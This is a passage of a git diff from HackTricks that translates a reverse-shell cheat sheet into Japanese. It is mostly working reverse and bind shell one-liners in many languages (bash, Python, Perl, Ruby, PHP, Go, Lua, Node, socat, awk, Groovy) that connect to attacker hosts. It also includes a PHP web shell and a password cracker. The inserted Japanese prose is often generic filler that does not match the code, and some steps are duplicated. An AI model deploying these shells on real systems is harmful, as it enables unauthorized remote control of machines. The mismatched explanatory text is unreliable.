デフォルトのユーザー名とパスワードを使用してログインします。 +3. セキュリティ上の問題があるかどうかを確認します(例:パスワードが平文で送信される)。 +4. 脆弱性が見つかった場合は、適切な対策を講じます。 + +### Telnetの利点 + +Telnetの利点は、シンプルで使いやすいことです。また、一部のデバイスやシステムでは、Telnetが唯一のリモートアクセス方法である場合があります。 + +### Telnetの欠点 + +Telnetの欠点は、セキュリティ上の問題があることです。通信が平文で送信されるため、パスワードや機密情報が傍受される可能性があります。また、Telnetは認証情報を暗号化しないため、中間者攻撃のリスクがあります。 + +### Telnetのまとめ + +Telnetは、リモートシステムに接続するためのプロトコルですが、セキュリティ上の問題があります。暗号化されたプロトコル(例:SSH)を使用することをお勧めします。 ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**攻撃者** ```bash while true; do nc -l ; done ``` +コマンドを送信するには、それを書き込んで、Enterキーを押し、CTRL+Dキーを押します(STDINを停止するため)。 -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**被害者** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - ## Python +Pythonは、多くのハッカーにとって非常に便利なスクリプト言語です。Pythonを使用すると、さまざまなタスクを自動化し、効率的に実行することができます。以下に、Pythonを使用した一般的なハッキングテクニックのいくつかを紹介します。 + +### リモートシェルの作成 + +Pythonを使用してリモートシェルを作成することができます。これにより、リモートサーバーに接続し、コマンドを実行することができます。以下は、Pythonを使用してリモートシェルを作成するための基本的なスクリプトです。 + +```python +import socket +import subprocess + +def connect(): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(("リモートサーバーのIPアドレス", ポート番号)) + + while True: + command = s.recv(1024).decode() + if 'exit' in command: + s.close() + break + else: + output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + s.send(output.stdout.read()) + s.send(output.stderr.read()) + +def main(): + connect() + +if __name__ == '__main__': + main() +``` + +このスクリプトを使用すると、リモートサーバーに接続し、コマンドを実行することができます。ただし、このスクリプトはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。 + +### パスワードクラッキング + +Pythonを使用してパスワードをクラッキングすることもできます。パスワードクラッキングは、辞書攻撃やブルートフォース攻撃などのさまざまな手法を使用して行われます。以下は、Pythonを使用してパスワードをクラッキングするための基本的なスクリプトです。 + +```python +import hashlib + +def crack_password(hash, wordlist): + with open(wordlist, 'r') as f: + for line in f: + word = line.strip() + hashed_word = hashlib.md5(word.encode()).hexdigest() + if hashed_word == hash: + return word + return None + +def main(): + hash = input("ハッシュ値を入力してください: ") + wordlist = input("ワードリストのパスを入力してください: ") + password = crack_password(hash, wordlist) + if password: + print("パスワードが見つかりました: " + password) + else: + print("パスワードが見つかりませんでした。") + +if __name__ == '__main__': + main() +``` + +このスクリプトを使用すると、ハッシュ値とワードリストを入力し、パスワードをクラッキングすることができます。ただし、パスワードクラッキングは合法的な目的でのみ使用するようにしてください。 + +Pythonは、ハッキングにおいて非常に強力なツールですが、適切な倫理と法律に基づいて使用することが重要です。 ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #IPv6 -python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' +python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl +Perlは、強力なスクリプト言語であり、Linuxシェルでよく使用されます。Perlスクリプトは、システム管理、ネットワークプログラミング、データ処理など、さまざまなタスクに使用できます。 + +Perlスクリプトを実行するには、まずPerlインタプリタをインストールする必要があります。次に、スクリプトファイルに実行権限を与えます。 + +Perlスクリプトを実行する方法はいくつかあります。最も一般的な方法は、ターミナルで以下のコマンドを実行することです。 + +``` +perl script.pl +``` + +スクリプトファイルのパスとファイル名を`script.pl`に置き換えてください。 + +Perlスクリプトは、シェルコマンドを実行するためのバッククオート演算子(`` ` ``)をサポートしています。これにより、シェルコマンドの出力をPerlスクリプト内で使用できます。 + +Perlスクリプトは、ファイルの読み書き、正規表現の処理、データの変換など、さまざまなタスクに使用できます。また、Perlモジュールを使用して、さらに高度な機能を追加することもできます。 + +Perlは、柔軟性と拡張性があり、Linuxシェルでのハッキングに非常に役立ちます。しかし、セキュリティ上の注意が必要です。適切な権限管理と入力の検証を行うことが重要です。 ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby +Rubyは、オブジェクト指向のスクリプト言語であり、多くの場面で使用されています。Rubyは、シンプルで読みやすい構文を持ち、柔軟性と拡張性があります。Rubyは、Webアプリケーションの開発や自動化スクリプトの作成など、さまざまな用途に使用されます。 + +Rubyスクリプトを実行するためには、Rubyインタプリタが必要です。Rubyインタプリタは、Rubyのコードを実行するための環境を提供します。 + +Rubyスクリプトを実行するためには、次の手順を実行します。 + +1. Rubyインタプリタをインストールします。インストール方法は、オペレーティングシステムによって異なります。 + +2. Rubyスクリプトを作成します。テキストエディタを使用して、.rb拡張子のファイルを作成します。 + +3. Rubyスクリプトを実行します。ターミナルまたはコマンドプロンプトで、`ruby ファイル名.rb`と入力して実行します。 + +Rubyは、多くの便利な機能を提供しています。例えば、文字列の操作、配列やハッシュの処理、ファイルの読み書きなどが簡単に行えます。また、Rubyの豊富なライブラリやフレームワークを使用することで、さまざまなタスクを効率的に実行することができます。 + +Rubyは、初心者から上級者まで幅広いレベルのプログラマにとって魅力的な言語です。そのシンプルな構文と豊富な機能を活用して、効率的なプログラミングを実現しましょう。 ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP +PHP(Hypertext Preprocessor)は、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、HTMLと組み合わせて動的なWebページを生成するために使用されます。 + +### PHPのシェル + +PHPのシェルを使用すると、コマンドラインからPHPスクリプトを実行できます。これにより、システムコマンドの実行やファイルの操作など、さまざまなタスクを自動化できます。 + +以下は、PHPシェルの使用例です。 + +```php + +``` + +このシェルは、GETパラメータとして渡されたコマンドを実行し、その結果を出力します。このシェルを使用すると、リモートでコマンドを実行できるため、悪意のあるユーザーによる攻撃のリスクがあります。 + +### PHPのリバースシェル + +PHPのリバースシェルは、攻撃者がリモートサーバーに接続し、システムコマンドを実行できるようにするためのツールです。リバースシェルを使用すると、ファイアウォールやNATの背後にあるサーバーに対しても攻撃を行うことができます。 + +以下は、PHPのリバースシェルの例です。 + +```php + $sock, + 1 => $sock, + 2 => $sock + ); + $process = proc_open('/bin/sh', $descriptorspec, $pipes); + fclose($sock); +?> +``` + +このリバースシェルは、攻撃者のIPアドレスとポート番号を指定し、攻撃者がシステムコマンドを実行できるようにします。攻撃者は、リバースシェルを使用して、リモートサーバーに対してコマンドを実行したり、ファイルを操作したりすることができます。 + +### PHPのコマンドインジェクション + +PHPのコマンドインジェクションは、ユーザーの入力を不適切に処理することによって、システムコマンドを実行する脆弱性です。攻撃者は、ユーザーの入力に悪意のあるコマンドを挿入し、サーバー上でコマンドを実行することができます。 + +以下は、PHPのコマンドインジェクションの例です。 + +```php + +``` + +このコードでは、GETパラメータとして渡された`cmd`変数を`system`関数に渡しています。攻撃者は、`cmd`変数に任意のコマンドを挿入することができ、サーバー上でそのコマンドが実行されます。 + +コマンドインジェクションは非常に危険な脆弱性であり、適切な入力検証とエスケープ処理が必要です。 ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -154,51 +330,178 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - ## Java +Javaは、オブジェクト指向プログラミング言語であり、クロスプラットフォームのアプリケーション開発に広く使用されています。Javaは、高い可搬性、セキュリティ、パフォーマンスを提供し、さまざまな用途に適しています。 + +### Javaの特徴 + +- **オブジェクト指向**: Javaは、オブジェクト指向プログラミングの原則に基づいています。クラス、オブジェクト、継承、ポリモーフィズムなどの概念をサポートしています。 + +- **プラットフォームの独立性**: Javaは、Java仮想マシン(JVM)上で実行されるため、プラットフォームに依存しません。これにより、Javaアプリケーションは異なるオペレーティングシステム上で実行できます。 + +- **ガベージコレクション**: Javaは、自動的にメモリを管理するガベージコレクション機能を提供します。開発者は明示的にメモリを解放する必要がなく、メモリリークのリスクを軽減できます。 + +- **例外処理**: Javaは、例外処理機構を備えています。開発者は、予期しないエラーに対処するための例外処理コードを記述できます。 + +- **マルチスレッドサポート**: Javaは、マルチスレッドプログラミングをサポートしています。複数のスレッドを使用して並行処理を実行できます。 + +### Javaの利用 + +Javaは、さまざまな用途に使用されています。 + +- **アプリケーション開発**: Javaは、デスクトップアプリケーション、Webアプリケーション、モバイルアプリケーションなど、さまざまな種類のアプリケーションの開発に使用されます。 + +- **ビッグデータ処理**: Javaは、ビッグデータ処理フレームワークであるApache HadoopやApache Sparkなどで広く使用されています。 + +- **エンタープライズアプリケーション**: Javaは、エンタープライズアプリケーションの開発に広く使用されています。Java Enterprise Edition(Java EE)フレームワークは、エンタープライズアプリケーションの構築に必要な機能を提供します。 + +- **Androidアプリケーション**: Javaは、Androidアプリケーションの開発に使用されます。Android Studioなどの開発ツールを使用して、JavaでAndroidアプリケーションを作成できます。 + +Javaは、その豊富な機能セットと広範な用途により、プログラミングコミュニティで広く支持されています。 ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat +Ncatは、ネットワーク接続のための強力なユーティリティです。Ncatを使用すると、TCPおよびUDP接続を作成し、データを送受信することができます。Ncatは、ポートスキャン、ポートフォワーディング、リモートシェルの作成など、さまざまなネットワーク関連のタスクに使用できます。 + +### Ncatの基本的な使用法 + +Ncatを使用してリモートシェルを作成するには、次のコマンドを使用します。 + +``` +ncat -lvp +``` + +このコマンドは、指定したポートでリッスンし、接続が確立されるとシェルを提供します。 + +Ncatを使用してポートスキャンを実行するには、次のコマンドを使用します。 + +``` +ncat -v +``` + +このコマンドは、指定したターゲットの指定したポートに接続を試みます。接続が成功すると、ポートが開いていることがわかります。 + +### Ncatの高度な使用法 + +Ncatには、さまざまな高度な機能があります。以下はいくつかの例です。 + +- ポートフォワーディング: ローカルポートとリモートポートをマッピングすることで、トラフィックを転送できます。 + +``` +ncat -lvp -c 'ncat ' +``` + +- ファイル転送: ファイルを送信するためにNcatを使用できます。 + +``` +ncat -lvp > +``` + +``` +ncat < +``` + +- リモートコマンド実行: リモートホストでコマンドを実行するためにNcatを使用できます。 + +``` +ncat -lvp -e +``` + +これらはNcatの一部の機能の例ですが、Ncatにはさまざまな使用法があります。Ncatのマニュアルを参照して、さらに詳細な情報を入手してください。 ```bash victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl ``` - ## Golang +Golang(またはGo)は、Googleによって開発されたオープンソースのプログラミング言語です。Golangは、高いパフォーマンスと効率的な並行処理を備えたシンプルな構文を持っています。Golangは、システムプログラミングやネットワークプログラミングなど、さまざまな用途に使用されます。 + +Golangは、クロスプラットフォームのサポートを提供し、コンパイルされたバイナリの実行ファイルを生成します。また、静的型付けとガベージコレクションを備えており、安全性と信頼性を高めます。 + +Golangは、多くのツールとライブラリが提供されており、開発者が効率的にコードを書くことができます。また、豊富なドキュメントとコミュニティのサポートも利用できます。 + +Golangは、Webアプリケーションの開発やマイクロサービスの構築にも適しています。また、ネットワークセキュリティやクラウドコンピューティングなどの分野でも広く使用されています。 + +Golangは、学習コストが比較的低く、シンプルな構文と直感的なデザインが特徴です。これにより、初心者から上級者まで、幅広いレベルの開発者が利用できます。 + +Golangは、高速な開発と効率的な実行を実現するための強力なツールです。そのため、多くの開発者や企業がGolangを選択しています。 ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua +Luaは、シンプルで効率的なスクリプト言語であり、組み込みスクリプト言語として広く使用されています。Luaは、高速な実行速度と低いメモリ使用量を特徴としており、さまざまなアプリケーションやゲームエンジンで使用されています。 + +Luaスクリプトを実行するためには、Luaインタプリタが必要です。Linuxシステムでは、`lua`コマンドを使用してインタプリタを起動できます。 + +Luaスクリプトを実行するためには、次のコマンドを使用します。 + +```bash +lua script.lua +``` + +また、Luaスクリプトを実行するためには、スクリプトファイルに実行権限を与える必要があります。 + +```bash +chmod +x script.lua +``` + +Luaスクリプトは、シェルスクリプトと同様に、コマンドライン引数を受け取ることもできます。引数は、`arg`というグローバル変数を介してアクセスできます。 + +```lua +-- 引数の数を表示する例 +print(#arg) +``` + +Luaは、シンプルで柔軟な言語であり、さまざまな用途に使用できます。Luaの詳細な文法や機能については、公式のLuaドキュメントを参照してください。 ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS +NodeJSは、非同期イベント駆動型のJavaScriptランタイム環境です。NodeJSは、サーバーサイドでのアプリケーション開発に広く使用されています。以下に、NodeJSに関連するいくつかの重要なポイントを示します。 + +### インストール + +NodeJSをインストールするには、公式のNodeJSウェブサイトからインストーラーをダウンロードし、実行します。インストールが完了すると、`node`コマンドが使用可能になります。 + +### パッケージマネージャー + +NodeJSには、パッケージの管理に使用するためのnpm(Node Package Manager)というパッケージマネージャーが付属しています。npmを使用すると、依存関係の解決やパッケージのインストールが簡単に行えます。 + +### モジュール + +NodeJSでは、モジュールと呼ばれる再利用可能なコードの単位が使用されます。モジュールは、`require`関数を使用して他のモジュールからインポートすることができます。 + +### イベント駆動型プログラミング + +NodeJSは、イベント駆動型のプログラミングモデルを採用しています。これにより、非同期処理が容易になります。コールバック関数やPromiseを使用して、非同期タスクの完了を処理することができます。 + +### フレームワーク + +NodeJSには、ExpressやKoaなどの人気のあるフレームワークがあります。これらのフレームワークを使用すると、Webアプリケーションの開発が容易になります。 + +NodeJSは、柔軟性とパフォーマンスの両方を備えた強力なツールです。サーバーサイドの開発において、高速かつ効率的なアプリケーションを構築するために、NodeJSを活用しましょう。 ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -229,19 +532,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +攻撃者(Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +被害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -249,106 +548,193 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### バインドシェル ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane -attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 +attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` +### リバースシェル -### Reverse shell +A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in post-exploitation scenarios to maintain persistent access to a compromised system. +To establish a reverse shell, the attacker typically needs to have a listener set up on their machine to receive the incoming connection. The listener can be a simple netcat command or a more advanced tool like Metasploit. + +Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine. This can be useful for performing various tasks, such as exfiltrating data, pivoting to other systems, or escalating privileges. + +There are multiple ways to create a reverse shell, depending on the target machine's operating system and available tools. Some common methods include using netcat, Python, or PHP to create a reverse shell payload. + +It's important to note that using reverse shells for unauthorized access to systems is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing or authorized system administration. ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk +Awkは、テキスト処理のための強力なプログラミング言語です。Awkは、行単位でテキストを処理し、パターンに一致する行を選択し、指定されたアクションを実行することができます。 + +Awkの基本的な構文は次のとおりです。 + +```bash +awk 'pattern { action }' file +``` + +- `pattern`は、行を選択するための条件です。正規表現や比較演算子を使用してパターンを指定することができます。 +- `action`は、パターンに一致した行に対して実行するコマンドです。複数のコマンドを実行する場合は、セミコロンで区切ります。 +- `file`は、処理するテキストファイルのパスです。省略すると、標準入力からデータを受け取ります。 + +Awkの便利な機能の一つは、データのフィールドにアクセスすることです。Awkは、デフォルトでスペースやタブでフィールドを区切ります。フィールドには、`$1`、`$2`、`$3`のような番号を指定してアクセスすることができます。 + +以下は、Awkを使用してテキストファイルを処理する例です。 + +```bash +awk '/pattern/ { print $1 }' file +``` + +この例では、`pattern`に一致する行の最初のフィールドを出力します。 + +Awkは非常に柔軟なツールであり、テキスト処理に幅広く使用されます。さまざまなオプションや関数を使用して、さまざまなタスクを実行することができます。Awkの詳細な使用方法については、公式のドキュメントやオンラインリソースを参照してください。 ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` +Fingerコマンドは、リモートシステム上のユーザー情報を取得するために使用されます。以下のコマンドを使用して、ユーザー名を指定して情報を取得できます。 -## Finger +```bash +finger @ +``` -**Attacker** +**Defender** +Fingerコマンドは、セキュリティ上のリスクを伴うため、一般的には無効化されています。システム管理者は、Fingerサービスを無効にすることをお勧めします。また、ユーザーはプライバシーを保護するために、自分の情報がFingerコマンドで公開されないようにする必要があります。 + +以下のコマンドを使用して、Fingerサービスを無効化できます。 + +```bash +sudo systemctl disable finger +sudo systemctl stop finger +``` + +また、ユーザーは以下の方法で自分の情報を非表示にすることができます。 + +- `/etc/nofinger`ファイルを作成し、ユーザー名を追加する。 +- `.nofinger`という名前のファイルをユーザーホームディレクトリに作成する。 + +**References** + +- [Finger - Wikipedia](https://en.wikipedia.org/wiki/Finger_protocol) ```bash while true; do nc -l 79; done ``` +コマンドを送信するには、それを書き込んで、Enterキーを押し、CTRL+Dキーを押します(STDINを停止するため)。 -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**被害者** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk +Gawkは、Linuxシェルスクリプトで使用される非常に強力なテキスト処理ツールです。Gawkは、パターンスキャンと処理、データの抽出、変換、およびレポートの生成など、さまざまなタスクを実行するために使用されます。 + +以下は、Gawkの基本的な使用法のいくつかです。 + +### パターンマッチングとアクション + +Gawkは、パターンマッチングとアクションの組み合わせによって動作します。パターンは、データの特定の部分を識別するために使用され、アクションは、パターンに一致した場合に実行されるコードです。 + +```bash +gawk '/パターン/ { アクション }' ファイル名 +``` + +### フィールドと変数 + +Gawkは、データをフィールドとして扱います。デフォルトでは、フィールドはスペースまたはタブで区切られていますが、カスタムのフィールドセパレータを指定することもできます。 + +Gawkでは、変数も使用できます。変数は、データの一部を格納するために使用されます。 + +```bash +gawk -F ':' '{ print $1 }' /etc/passwd +``` + +### パイプとリダイレクト + +Gawkは、パイプとリダイレクトを使用して、データの入力と出力を制御することもできます。 + +```bash +gawk '/パターン/ { アクション }' < 入力ファイル > 出力ファイル +``` + +### パターンとアクションの組み合わせ + +Gawkでは、複数のパターンとアクションを組み合わせることもできます。これにより、さまざまな条件に基づいてデータを処理することができます。 + +```bash +gawk '/パターン1/ { アクション1 } /パターン2/ { アクション2 }' ファイル名 +``` + +これらは、Gawkの基本的な使用法の一部です。Gawkは非常に柔軟で強力なツールであり、さまざまなテキスト処理タスクに使用できます。 ```bash #!/usr/bin/gawk -f BEGIN { - Port = 8080 - Prompt = "bkd> " +Port = 8080 +Prompt = "bkd> " - Service = "/inet/tcp/" Port "/0/0" - while (1) { - do { - printf Prompt |& Service - Service |& getline cmd - if (cmd) { - while ((cmd |& getline) > 0) - print $0 |& Service - close(cmd) - } - } while (cmd != "exit") - close(Service) - } +Service = "/inet/tcp/" Port "/0/0" +while (1) { +do { +printf Prompt |& Service +Service |& getline cmd +if (cmd) { +while ((cmd |& getline) > 0) +print $0 |& Service +close(cmd) +} +} while (cmd != "exit") +close(Service) +} } ``` - ## Xterm -One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001. - +最もシンプルなリバースシェルの形式の1つは、xtermセッションです。以下のコマンドはサーバー上で実行する必要があります。それはあなた(10.0.0.1)にTCPポート6001で接続しようとします。 ```bash xterm -display 10.0.0.1:1 ``` - -To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): +以下のコマンドを使用して、着信するxtermをキャッチします。X-Serverを起動します(:1 - TCPポート6001でリッスンします)。これを行う方法の1つは、Xnestを使用することです(システム上で実行する必要があります): ```bash Xnest :1 ``` -You’ll need to authorise the target to connect to you (command also run on your host): +次に、xtermを起動し、X-Serverに接続します: +```bash +xterm -display :1 +``` + +これにより、着信するxtermがキャッチされ、X-Server上で表示されます。 +```bash +Xnest :1 +``` +以下のコマンドを実行して、ターゲットがあなたに接続することを許可する必要があります(このコマンドはあなたのホスト上でも実行されます): ```bash xhost +targetip ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意:Javaの逆シェルもGroovyで動作します。 ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## Bibliography +## 参考文献 {% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %} @@ -362,10 +748,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/generic-methodologies-and-resources/shells/msfvenom.md b/generic-methodologies-and-resources/shells/msfvenom.md index 1d12753b8..12c4a5c8d 100644 --- a/generic-methodologies-and-resources/shells/msfvenom.md +++ b/generic-methodologies-and-resources/shells/msfvenom.md @@ -1,208 +1,454 @@ -# MSFVenom - CheatSheet +# MSFVenom - チートシート
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) 